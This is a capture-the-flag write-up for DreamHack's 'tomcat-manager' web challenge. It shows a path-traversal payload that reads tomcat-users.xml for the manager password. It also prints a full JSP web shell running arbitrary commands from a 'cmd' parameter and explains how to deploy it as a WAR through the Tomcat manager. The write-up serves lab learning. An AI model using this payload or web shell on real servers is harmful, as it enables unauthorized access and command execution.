Room / Challenge: tomcat-manager (Web)


Metadata

  • Author: jameskaois
  • CTF: DreamHack
  • Challenge: tomcat-manager (web)
  • Link: https://dreamhack.io/wargame/challenges/248
  • Level: 2
  • Date: 17-11-2025

Goal

Examining the code and leverage LFI and RCE to capture the flag.

My Solution

The source code has the ROOT.war besides Dockerfile and tomcat-users.xml. The tomcat-users.xml content:

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">

    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="[**SECRET**]" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>

It suggests that we have to find the password for user tomcat to get access to the code, let’s examine the source in ROOT.war. I use JD-GUI: Guide image

Found a really intersting file/route image.jsp:

<%@ page trimDirectiveWhitespaces="true" %>
<%
String filepath = getServletContext().getRealPath("resources") + "/";
String _file = request.getParameter("file");

response.setContentType("image/jpeg");
try{
    java.io.FileInputStream fileInputStream = new java.io.FileInputStream(filepath + _file);
    int i;
    while ((i = fileInputStream.read()) != -1) {
        out.write(i);
    }
    fileInputStream.close();
}catch(Exception e){
    response.sendError(404, "Not Found !" );
}
%>

This route is vulnerable to LFI (Local File Intrusion), this allows us to view image of any content in the source code without any filters. Based on the Dockerfile we know that the tomcat-users.xml is in /usr/local/tomcat/conf/tomcat-users.xml, so we can visit this URL to get its content:

/image.jsp?file=../../../conf/tomcat-users.xml

Guide image

Found the password for tomcat user, now logged in as tomcat in /manager/html: Guide image Based on the description, we have to get access to the flag through /flag, but currently I cannot see any route /flag, so I think of a way to leverage RCE (Remote Code Execution), make a shell.jsp:

<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); if
(cmd != null) { Process p = Runtime.getRuntime().exec(cmd); OutputStream os =
p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis =
new DataInputStream(in); String disr = dis.readLine(); while (disr != null) {
out.println(disr); disr = dis.readLine(); } } %>

This code allows us to have a remote shell and run via ?cmd=<cmd>, convert it to .war:

zip shell.war shell.jsp

Upload it to the Tomcat manager UI: Guide image Now we can run our script through /shell/shell.jsp?cmd=<cmd>, run /shell/shell.jsp?cmd=/flag to get the flag: Guide image